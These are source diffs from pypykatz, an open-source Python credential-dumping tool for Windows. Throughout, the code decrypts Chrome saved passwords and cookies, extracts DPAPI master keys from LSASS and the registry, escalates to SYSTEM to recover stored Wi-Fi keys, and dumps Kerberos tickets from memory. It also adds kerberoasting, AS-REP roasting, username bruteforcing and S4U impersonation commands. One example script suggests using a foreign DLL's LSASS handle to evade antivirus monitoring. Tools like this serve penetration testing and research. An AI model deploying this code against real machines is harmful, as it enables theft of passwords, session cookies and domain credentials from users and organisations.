647 | if ntpath.basename(db_path).lower() == 'cookies': | |
648 | try: | |
649 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py | |
650 | cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies') | |
651 | except Exception as e: | |
652 | logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) | |
653 | return results | |
654 | ||
655 | for host_key, name, path, encrypted_value in cursor.fetchall(): | |
656 | results['cookies'].append((host_key, name, path, encrypted_value)) | |
657 | ||
658 | elif ntpath.basename(db_path).lower() == 'login data': | |
659 | ||
660 | try: | |
661 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py | |
662 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') | |
663 | except Exception as e: | |
664 | logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) | |
665 | return results | |
666 | ||
667 | for url, user, enc_pw in cursor.fetchall(): | |
668 | results['logins'].append((url, user, enc_pw)) | |
669 | ||
670 | return results | |
671 | ||
672 | def decrypt_all_chrome_live(self): | |
673 | results = {} | |
674 | results['logins'] = [] | |
675 | results['cookies'] = [] | |
676 | localstate_dec = None | |
677 | ||
678 | dbpaths = DPAPI.find_chrome_database_file_live() | |
679 | for username in dbpaths: | |
680 | if 'localstate' in dbpaths[username]: | |
681 | with open(dbpaths[username]['localstate'], 'r') as f: | |
682 | encrypted_key = json.load(f)['os_crypt']['encrypted_key'] | |
683 | encrypted_key = base64.b64decode(encrypted_key) | |
684 | ||
685 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
686 | ||
687 | if 'cookies' in dbpaths[username]: | |
688 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies']) | |
689 | for host_key, name, path, encrypted_value in secrets['cookies']: | |
690 | if encrypted_value.startswith(b'v10'): | |
691 | nonce = encrypted_value[3:3+12] | |
692 | ciphertext = encrypted_value[3+12:-16] | |
693 | tag = encrypted_value[-16:] | |
694 | cipher = AES_GCM(localstate_dec) | |
695 | dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'') | |
696 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) | |
697 | else: | |
698 | dec_val = self.decrypt_blob_bytes(encrypted_value) | |
699 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) | |
700 | ||
701 | if 'logindata' in dbpaths[username]: | |
702 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata']) | |
703 | for url, user, enc_password in secrets['logins']: | |
704 | password = self.decrypt_blob_bytes(enc_password) | |
705 | results['logins'].append((dbpaths[username]['logindata'], url, user, password )) | |
706 | ||
707 | ||
708 | return results | |
709 | ||
710 | def get_all_masterkeys_live(self): | |
711 | try: | |
712 | self.get_all_keys_from_lsass_live() | |
713 | except: | |
714 | logger.debug('Failed to get masterkeys/prekeys from LSASS!') | |
715 | ||
716 | try: | |
717 | self.get_prekeys_form_registry_live() | |
718 | except Exception as e: | |
719 | logger.debug('Failed to get masterkeys/prekeys from registry!') | |
720 | ||
721 | mkfiles = DPAPI.find_masterkey_files_live() | |
722 | for guid in mkfiles: | |
723 | logger.debug('Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
724 | mk, bk = self.decrypt_masterkey_file(mkfiles[guid]) | |
725 | if len(mk) > 0 or len(bk) > 0: | |
726 | logger.debug('Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
727 | else: | |
728 | logger.debug('Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
729 | ||
730 | return self.masterkeys, self.backupkeys | |
731 | ||
732 | @staticmethod | |
733 | def parse_wifi_config_file(filepath): | |
734 | wifi = {} | |
735 | tree = ET.parse(filepath) | |
736 | root = tree.getroot() | |
737 | ||
738 | for child in root: | |
739 | if child.tag.endswith('}name'): | |
740 | wifi['name'] = child.text | |
741 | elif child.tag.endswith('}MSM'): | |
742 | for pc in child.iter(): | |
743 | if pc.tag.endswith('}keyMaterial'): | |
744 | wifi['enckey'] = pc.text | |
745 | return wifi | |
746 | ||
747 | @staticmethod | |
748 | def get_all_wifi_settings_offline(system_drive_letter): | |
749 | wifis = [] | |
750 | for filename in glob.glob(system_drive_letter+':\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\**', recursive=True): | |
751 | if filename.endswith('.xml'): | |
752 | wifi = DPAPI.parse_wifi_config_file(filename) | |
753 | wifis.append(wifi) | |
754 | return wifis | |
755 | ||
756 | @staticmethod | |
757 | def get_all_wifi_settings_live(): | |
758 | return DPAPI.get_all_wifi_settings_offline(DPAPI.get_windows_drive_live()) | |
759 | ||
760 | def decrypt_wifi_live(self): | |
761 | # key is encrypted as system!!! | |
762 | pm = ProcessManipulator() | |
763 | try: | |
764 | try: | |
765 | pm.getsystem() | |
766 | except Exception as e: | |
767 | raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) | |
768 | ||
769 | for wificonfig in DPAPI.get_all_wifi_settings_live(): | |
770 | if 'enckey' in wificonfig and wificonfig['enckey'] != '': | |
771 | wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey']) | |
772 | yield wificonfig | |
773 | ||
774 | finally: | |
775 | pm.dropsystem() | |
776 | ||
777 | # arpparse helper | |
778 | def prepare_dpapi_live(methods = [], mkf = None, pkf = None): | |
779 | dpapi = DPAPI() | |
780 | ||
781 | if mkf is not None: | |
782 | dpapi.load_masterkeys(mkf) | |
783 | if pkf is not None: | |
784 | dpapi.load_prekeys(mkf) | |
785 | ||
786 | if 'all' in methods: | |
787 | dpapi.get_all_masterkeys_live() | |
788 | if 'registry' in methods and 'all' not in methods: | |
789 | dpapi.get_prekeys_form_registry_live() | |
790 | if 'lsass' in methods and 'all' not in methods: | |
791 | dpapi.get_masterkeys_from_lsass_live() | |
792 | ||
793 | return dpapi⏎ |
0 | from ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError | |
1 | ||
2 | LPWSTR = c_wchar_p | |
3 | LPVOID = c_void_p | |
4 | PVOID = LPVOID | |
5 | PPVOID = POINTER(PVOID) | |
6 | DWORD = c_uint32 | |
7 | ||
8 | def RaiseIfZero(result, func = None, arguments = ()): | |
9 | """ | |
10 | Error checking for most Win32 API calls. | |
11 | ||
12 | The function is assumed to return an integer, which is C{0} on error. | |
13 | In that case the C{WindowsError} exception is raised. | |
14 | """ | |
15 | if not result: | |
16 | raise WinError() | |
17 | return result | |
18 | ||
19 | class DATA_BLOB(Structure): | |
20 | _fields_ = [ | |
21 | ('cbData', DWORD), | |
22 | ('pbData', POINTER(c_char)) | |
23 | ] | |
24 | PDATA_BLOB = POINTER(DATA_BLOB) | |
25 | ||
26 | # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata | |
27 | def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False): | |
28 | _CryptUnprotectData = windll.crypt32.CryptUnprotectData | |
29 | _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB] | |
30 | _CryptUnprotectData.restype = bool | |
31 | _CryptUnprotectData.errcheck = RaiseIfZero | |
32 | ||
33 | buffer_in = c_buffer(enc_blob, len(enc_blob)) | |
34 | blob_in = DATA_BLOB(len(enc_blob), buffer_in) | |
35 | blob_out = DATA_BLOB() | |
36 | ||
37 | if entropy is not None: | |
38 | buffer_entropy = c_buffer(entropy, len(entropy)) | |
39 | blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) | |
40 | _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out)) | |
41 | else: | |
42 | _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out)) | |
43 | ||
44 | dec_data = string_at(blob_out.pbData, blob_out.cbData) | |
45 | return dec_data | |
46 | ||
47 | if __name__ == '__main__': | |
48 | enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367') | |
49 | dec_data = CryptUnprotectData(enc_data) | |
50 | print(dec_data)⏎ |
182 | 182 | self.guid3 = None |
183 | 183 | self.key_size = None |
184 | 184 | self.blob = None #encrypted VAULT_VPOL_KEYS |
185 | self.blobdata = None #encrypted VAULT_VPOL_KEYS | |
185 | 186 | |
186 | 187 | @staticmethod |
187 | 188 | def from_bytes(data): |
199 | 200 | sk.guid2 = GUID(buff).value |
200 | 201 | sk.guid3 = GUID(buff).value |
201 | 202 | sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False) |
202 | sk.blob = DPAPI_BLOB.from_bytes(buff.read(sk.key_size)) | |
203 | sk.blobdata = buff.read(sk.key_size) | |
204 | sk.blob = DPAPI_BLOB.from_bytes(sk.blobdata) | |
203 | 205 | |
204 | 206 | return sk |
205 | 207 |
0 | ||
1 | # | |
2 | # In case you happen to have a DLL that has an export which returns a handle to LSASS process | |
3 | # You can use this example to load such DLL via ctypes and call pypykatz using said handle | |
4 | # Might be interesting to bypass AV monitoring openprocess on LSASS | |
5 | # | |
6 | ||
7 | from ctypes import windll, c_void_p | |
8 | from pypykatz.pypykatz import pypykatz | |
9 | ||
10 | dll_path = '' | |
11 | ||
12 | def get_lsass_handle(): | |
13 | your_dll = windll.LoadLibrary(dll_path) | |
14 | _your_function = your_dll.your_function | |
15 | _your_function.argtypes = [] #I guess no args | |
16 | _your_function.restype = c_void_p #this is basically a handle | |
17 | ||
18 | phandle = _your_function() | |
19 | ||
20 | return phandle | |
21 | ||
22 | ||
23 | phandle = get_lsass_handle() | |
24 | res = pypykatz.go_live_phandle(phandle) | |
25 | print(str(res)) |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | from pypykatz import logging | |
6 | import base64 | |
7 | import platform | |
8 | import argparse | |
9 | import asyncio | |
10 | from pypykatz import logger | |
11 | import traceback | |
12 | ||
13 | from minikerberos.common.utils import print_table | |
14 | from pypykatz.commons.filetime import filetime_to_dt | |
15 | from pypykatz.commons.common import geterr | |
16 | from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \ | |
17 | brute, asreproast, spnroast, s4u, process_keytab, list_ccache, \ | |
18 | del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache | |
19 | ||
20 | from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi | |
7 | 21 | |
8 | 22 | """ |
9 | 23 | Kerberos is not part of pypykatz directly. |
10 | This is a wrapper for minikerberos and winsspi packages | |
24 | This is a wrapper for minikerberos | |
11 | 25 | """ |
12 | 26 | |
13 | 27 | class KerberosCMDHelper: |
14 | 28 | def __init__(self): |
15 | 29 | self.live_keywords = ['kerberos'] |
16 | self.keywords = [] | |
17 | ||
30 | self.keywords = ['kerberos'] | |
31 | ||
32 | @staticmethod | |
33 | def luid_converter(luid): | |
34 | if luid.startswith('0x') is True: | |
35 | luid = int(luid, 16) | |
36 | return int(luid) | |
37 | ||
18 | 38 | def add_args(self, parser, live_parser): |
19 | live_group = live_parser.add_parser('kerberos', help='Kerberos (live) related commands') | |
20 | live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)') | |
21 | live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.') | |
22 | live_group.add_argument('cmd', choices=['spnroast', 'asreproast']) | |
23 | live_group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
24 | live_group.add_argument('-t','--target-file', help= 'List of target users to roast. One user per line. Format: asreproast->username spnroast->domain/username') | |
25 | live_group.add_argument('-u','--target-user', action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.') | |
26 | live_group.add_argument('-r','--realm', help= 'Kerberos Realm.') | |
27 | ||
39 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
40 | live_kerberos_subparsers = live_subcommand_parser.add_subparsers(help = 'live_kerberos_module') | |
41 | live_kerberos_subparsers.required = True | |
42 | live_kerberos_subparsers.dest = 'live_kerberos_module' | |
43 | ||
44 | live_luid_parser = live_kerberos_subparsers.add_parser('currentluid', help = 'Prints out the LUID of the current user') | |
45 | ||
46 | live_roast_parser = live_kerberos_subparsers.add_parser('roast', help = 'Automatically run spnroast and asreproast') | |
47 | live_roast_parser.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') | |
48 | ||
49 | live_tgs_parser = live_kerberos_subparsers.add_parser('tgt', help = 'Request a TGT ticket. It may work better specifying the target as cifs/<domain.corp>') | |
50 | live_tgs_parser.add_argument('--target', help='SPN string of the service to request the ticket for') | |
51 | live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') | |
52 | ||
53 | live_tgs_parser = live_kerberos_subparsers.add_parser('apreq', help = 'Request a APREQ ticket for a given service') | |
54 | live_tgs_parser.add_argument('target', help='SPN string of the service to request the ticket for') | |
55 | live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') | |
56 | ||
57 | live_purge_parser = live_kerberos_subparsers.add_parser('purge', help = 'Purge all tickets. For the current user use --luid 0') | |
58 | live_purge_parser.add_argument('--luid', help='LUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!') | |
59 | ||
60 | live_sessions_parser = live_kerberos_subparsers.add_parser('sessions', help = 'List user sessions. Needs elevated privileges.') | |
61 | ||
62 | live_export_parser = live_kerberos_subparsers.add_parser('dump', help = 'Fetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi files') | |
63 | live_export_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') | |
64 | live_export_parser.add_argument('-o', '--outdir', help='path to kirbi directory') | |
65 | ||
66 | live_triage_parser = live_kerberos_subparsers.add_parser('triage', help = 'List tickets for a given session or all sessions') | |
67 | live_triage_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') | |
68 | ||
69 | live_parser.add_parser('kerberos', help = 'Kerberos related commands', parents=[live_subcommand_parser]) | |
70 | ||
71 | #offline part | |
72 | #ccache part | |
73 | ccache_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
74 | kerberos_ccache_subparsers = ccache_subcommand_parser.add_subparsers(help = 'ccache_command') | |
75 | kerberos_ccache_subparsers.required = True | |
76 | kerberos_ccache_subparsers.dest = 'ccache_module' | |
77 | ||
78 | ccache_list = kerberos_ccache_subparsers.add_parser('list', help = 'List ccache file contents') | |
79 | ccache_list.add_argument('ccachefile', help='path to CCACHE file') | |
80 | ||
81 | ccache_del = kerberos_ccache_subparsers.add_parser('del', help = 'Delete tickets from ccache file based on their order. To get the order user the list command.') | |
82 | ccache_del.add_argument('ccachefile', help='path to CCACHE file') | |
83 | ccache_del.add_argument('index', type=int, help='ticket index to delete') | |
84 | ||
85 | ccache_roast = kerberos_ccache_subparsers.add_parser('roast', help = 'Convert stored tickets to hashcat crackable format') | |
86 | ccache_roast.add_argument('ccachefile', help='path to CCACHE file') | |
87 | ccache_roast.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') | |
88 | ||
89 | ccache_kirbi = kerberos_ccache_subparsers.add_parser('loadkirbi', help = 'Add kirbi file to ccache file.') | |
90 | ccache_kirbi.add_argument('ccachefile', help='path to CCACHE file') | |
91 | ccache_kirbi.add_argument('kirbifile', help='path to kirbi file / directory') | |
92 | ||
93 | ccache_kirbi = kerberos_ccache_subparsers.add_parser('exportkirbi', help = 'Export tickets to kirbi files. One ticket per file.') | |
94 | ccache_kirbi.add_argument('ccachefile',help='path to CCACHE file') | |
95 | ccache_kirbi.add_argument('kirbidir', help='path to kirbi directory ') | |
96 | ||
97 | ||
98 | #kirbi | |
99 | kirbi_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
100 | kerberos_kirbi_subparsers = kirbi_subcommand_parser.add_subparsers(help = 'kirbi_command') | |
101 | kerberos_kirbi_subparsers.required = True | |
102 | kerberos_kirbi_subparsers.dest = 'kirbi_module' | |
103 | ||
104 | kirbi_list = kerberos_kirbi_subparsers.add_parser('parse', help = 'Parse kirbi file and show the ticket') | |
105 | kirbi_list.add_argument('kirbifile', help='path to kirbi file') | |
106 | ||
107 | ||
108 | kerberos_group = parser.add_parser('kerberos', help='Kerberos related commands') | |
109 | kerberos_subparsers = kerberos_group.add_subparsers() | |
110 | kerberos_subparsers.required = True | |
111 | kerberos_subparsers.dest = 'kerberos_module' | |
112 | ||
113 | tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user') | |
114 | tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"') | |
115 | tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
116 | ||
117 | tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user') | |
118 | tgs_parser.add_argument('url', help='user credentials in URL format') | |
119 | tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for') | |
120 | tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
121 | ||
122 | brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames') | |
123 | brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
124 | brute_parser.add_argument('-o','--out-file', help='Output file to store the found usernames.') | |
125 | brute_parser.add_argument('-n','--show-negatives', action='store_true', help='Print failed enumerations') | |
126 | brute_parser.add_argument('address', help='Kerberos server IP/hostname') | |
127 | brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
128 | ||
129 | asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast') | |
130 | asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
131 | asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') | |
132 | asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') | |
133 | asreproast_parser.add_argument('address', help='Kerberos server IP/hostname') | |
134 | asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
135 | ||
136 | spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast') | |
137 | spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
138 | spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') | |
139 | spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') | |
140 | spnroast_parser.add_argument('url', help='user credentials in URL format') | |
141 | spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
142 | ||
143 | s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user') | |
144 | s4u_parser.add_argument('url', help='user credentials in URL format') | |
145 | s4u_parser.add_argument('spn', help='SPN string of the service to request the ticket for') | |
146 | s4u_parser.add_argument('targetuser', help='') | |
147 | s4u_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
148 | ||
149 | keytab_parser = kerberos_subparsers.add_parser('keytab', help = 'Parse keytab file, list secret key(s)') | |
150 | keytab_parser.add_argument('keytabfile', help='user credentials in URL format') | |
151 | ||
152 | ccache_parser = kerberos_subparsers.add_parser('ccache', help = 'Parse/Edit ccache file', parents=[ccache_subcommand_parser]) | |
153 | kirbi_parser = kerberos_subparsers.add_parser('kirbi', help = 'Parse/Edit kirbi file', parents=[kirbi_subcommand_parser]) | |
28 | 154 | |
29 | 155 | def execute(self, args): |
30 | 156 | if len(self.keywords) > 0 and args.command in self.keywords: |
35 | 161 | |
36 | 162 | |
37 | 163 | def run_live(self, args): |
38 | from winsspi.sspi import KerberoastSSPI | |
39 | from minikerberos.security import TGSTicket2hashcat, APREPRoast | |
40 | from minikerberos.utils import TGTTicket2hashcat | |
41 | from minikerberos.communication import KerberosSocket | |
42 | from minikerberos.common import KerberosTarget | |
43 | from pypykatz.commons.winapi.machine import LiveMachine | |
44 | ||
45 | if not args.target_file and not args.target_user: | |
46 | raise Exception('No targets loaded! Either -u or -t MUST be specified!') | |
47 | ||
48 | machine = LiveMachine() | |
49 | ||
50 | realm = args.realm | |
51 | if not args.realm: | |
52 | realm = machine.get_domain() | |
53 | ||
54 | if args.cmd in ['spnroast','asreproast']: | |
55 | targets = [] | |
56 | if args.target_file: | |
57 | with open(args.target_file, 'r') as f: | |
58 | for line in f: | |
59 | line = line.strip() | |
60 | domain = None | |
61 | username = None | |
62 | if line.find('/') != -1: | |
63 | #we take for granted that usernames do not have the char / in them! | |
64 | domain, username = line.split('/') | |
65 | else: | |
66 | username = line | |
67 | ||
68 | if args.realm: | |
69 | domain = args.realm | |
70 | else: | |
71 | if domain is None: | |
72 | raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file') | |
73 | ||
74 | target = KerberosTarget() | |
75 | target.username = username | |
76 | target.domain = domain | |
77 | targets.append(target) | |
78 | ||
79 | if args.target_user: | |
80 | for user in args.target_user: | |
81 | domain = None | |
82 | username = None | |
83 | if user.find('/') != -1: | |
84 | #we take for granted that usernames do not have the char / in them! | |
85 | domain, username = user.split('/') | |
86 | else: | |
87 | username = user | |
88 | ||
89 | if args.realm: | |
90 | domain = args.realm | |
91 | else: | |
92 | if domain is None: | |
93 | raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file') | |
94 | target = KerberosTarget() | |
95 | target.username = username | |
96 | target.domain = domain | |
97 | targets.append(target) | |
98 | ||
99 | results = [] | |
100 | errors = [] | |
101 | if args.cmd == 'spnroast': | |
102 | for spn_name in targets: | |
103 | ksspi = KerberoastSSPI() | |
104 | try: | |
105 | ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname()) | |
106 | except Exception as e: | |
107 | errors.append((spn_name, e)) | |
164 | if platform.system() != 'Windows': | |
165 | print('[-]This command only works on Windows!') | |
166 | return | |
167 | ||
168 | from pypykatz.kerberos.kerberoslive import KerberosLive, live_roast # , purge, list_sessions #get_tgt, get_tgs | |
169 | kl = KerberosLive() | |
170 | ||
171 | if args.live_kerberos_module == 'roast': | |
172 | res, errors, err = asyncio.run(live_roast(args.out_file)) | |
173 | if err is not None: | |
174 | print('[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %s' % geterr(err)) | |
175 | return | |
176 | if args.out_file is None: | |
177 | for r in res: | |
178 | print(r) | |
179 | ||
180 | elif args.live_kerberos_module == 'tgt': | |
181 | ticket = kl.get_tgt(args.target) | |
182 | if args.out_file is None: | |
183 | print_kirbi(ticket) | |
184 | return | |
185 | ||
186 | with open(args.out_file, 'wb') as f: | |
187 | f.write(ticket) | |
188 | ||
189 | elif args.live_kerberos_module == 'apreq': | |
190 | apreq, sessionkey = kl.get_apreq(args.target) | |
191 | print('APREQ b64: ') | |
192 | print(format_kirbi(apreq.dump())) | |
193 | print('Sessionkey b64: %s' % base64.b64encode(sessionkey).decode()) | |
194 | ||
195 | ||
196 | elif args.live_kerberos_module == 'currentluid': | |
197 | print(hex(kl.get_current_luid())) | |
198 | ||
199 | elif args.live_kerberos_module == 'purge': | |
200 | luid = None | |
201 | if args.luid is not None: | |
202 | luid = args.luid | |
203 | if luid.startswith('0x') is True: | |
204 | luid = int(luid, 16) | |
205 | luid=int(luid) | |
206 | ||
207 | kl.purge(luid) | |
208 | print('Tickets purged!') | |
209 | ||
210 | elif args.live_kerberos_module == 'sessions': | |
211 | kl.list_sessions() | |
212 | ||
213 | elif args.live_kerberos_module == 'triage': | |
214 | if args.luid is None: | |
215 | ticketinfos = kl.get_all_ticketinfo() | |
216 | else: | |
217 | luid = KerberosCMDHelper.luid_converter(args.luid) | |
218 | ticketinfos = kl.get_ticketinfo(luid) | |
219 | ||
220 | table = [['LUID', 'ServerName', 'RealmName', 'StartTime', 'EndTime', 'RenewTime', 'EncryptionType', 'TicketFlags']] | |
221 | for luid in ticketinfos: | |
222 | if len(ticketinfos[luid]) == 0: | |
223 | continue | |
224 | ||
225 | for ticket in ticketinfos[luid]: | |
226 | table.append([ | |
227 | hex(luid), | |
228 | ticket['ServerName'], | |
229 | ticket['RealmName'], | |
230 | filetime_to_dt(ticket['StartTime']).isoformat(), | |
231 | filetime_to_dt(ticket['EndTime']).isoformat(), | |
232 | filetime_to_dt(ticket['RenewTime']).isoformat(), | |
233 | str(ticket['EncryptionType']), | |
234 | str(ticket['TicketFlags']) | |
235 | ]) | |
236 | ||
237 | print_table(table) | |
238 | ||
239 | ||
240 | elif args.live_kerberos_module == 'dump': | |
241 | if args.luid is None: | |
242 | tickets = kl.export_all_ticketdata() | |
243 | else: | |
244 | luid = KerberosCMDHelper.luid_converter(args.luid) | |
245 | tickets = kl.export_ticketdata(luid) | |
246 | ||
247 | if args.outdir is not None: | |
248 | for luid in tickets: | |
249 | for ticket in tickets[luid]: | |
250 | with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f: | |
251 | f.write(ticket['Ticket']) | |
252 | else: | |
253 | for luid in tickets: | |
254 | if len(tickets[luid]) == 0: | |
108 | 255 | continue |
109 | results.append(TGSTicket2hashcat(ticket)) | |
110 | ||
111 | elif args.cmd == 'asreproast': | |
112 | dcip = args.dc_ip | |
113 | if args.dc_ip is None: | |
114 | dcip = machine.get_domain() | |
115 | ks = KerberosSocket( dcip ) | |
116 | ar = APREPRoast(ks) | |
117 | results = ar.run(targets) | |
118 | ||
119 | ||
120 | if args.out_file: | |
121 | with open(args.out_file, 'w') as f: | |
122 | for thash in results: | |
123 | f.write(thash + '\r\n') | |
124 | ||
125 | else: | |
126 | for thash in results: | |
127 | print(thash) | |
128 | ||
129 | for err in errors: | |
130 | print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) | |
131 | ||
132 | logging.info('SSPI based Kerberoast complete') | |
133 | ||
256 | ||
257 | print('LUID @%s' % hex(luid)) | |
258 | for ticket in tickets[luid]: | |
259 | print_kirbi(ticket['Ticket']) | |
260 | ||
261 | ||
134 | 262 | def run(self, args): |
135 | raise NotImplementedError('Platform independent kerberos not implemented!')⏎ | |
263 | #raise NotImplementedError('Platform independent kerberos not implemented!') | |
264 | ||
265 | if args.kerberos_module == 'tgt': | |
266 | kirbi, filename, err = asyncio.run(get_TGT(args.url)) | |
267 | if err is not None: | |
268 | print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err) | |
269 | return | |
270 | ||
271 | if args.out_file is not None: | |
272 | with open(args.out_file, 'wb') as f: | |
273 | f.write(kirbi.dump()) | |
274 | else: | |
275 | print_kirbi(kirbi) | |
276 | ||
277 | elif args.kerberos_module == 'tgs': | |
278 | tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn)) | |
279 | if err is not None: | |
280 | print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err) | |
281 | return | |
282 | ||
283 | ||
284 | if args.out_file is not None: | |
285 | pass | |
286 | else: | |
287 | print(tgs) | |
288 | print(encTGSRepPart) | |
289 | print(key) | |
290 | ||
291 | elif args.kerberos_module == 'brute': | |
292 | target_spns = generate_targets(args.targets, args.domain) | |
293 | _, err = asyncio.run(brute(args.address, target_spns, args.out_file, args.show_negatives)) | |
294 | if err is not None: | |
295 | print('[KERBEROS][BRUTE] Error while enumerating users! Reason: %s' % geterr(err)) | |
296 | return | |
297 | ||
298 | elif args.kerberos_module == 'asreproast': | |
299 | target_spns = generate_targets(args.targets, args.domain, to_spn = False) | |
300 | _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype)) | |
301 | if err is not None: | |
302 | print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
303 | return | |
304 | ||
305 | elif args.kerberos_module == 'spnroast': | |
306 | target_spns = generate_targets(args.targets, args.domain, to_spn = True) | |
307 | _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype)) | |
308 | if err is not None: | |
309 | print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err)) | |
310 | return | |
311 | ||
312 | elif args.kerberos_module == 's4u': | |
313 | tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None)) | |
314 | if err is not None: | |
315 | print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err)) | |
316 | return | |
317 | ||
318 | elif args.kerberos_module == 'keytab': | |
319 | process_keytab(args.keytabfile) | |
320 | ||
321 | elif args.kerberos_module == 'ccache': | |
322 | if args.ccache_module == 'list': | |
323 | list_ccache(args.ccachefile) | |
324 | elif args.ccache_module == 'roast': | |
325 | roast_ccache(args.ccachefile, args.out_file) | |
326 | elif args.ccache_module == 'del': | |
327 | del_ccache(args.ccachefile, args.index) | |
328 | elif args.ccache_module == 'exportkirbi': | |
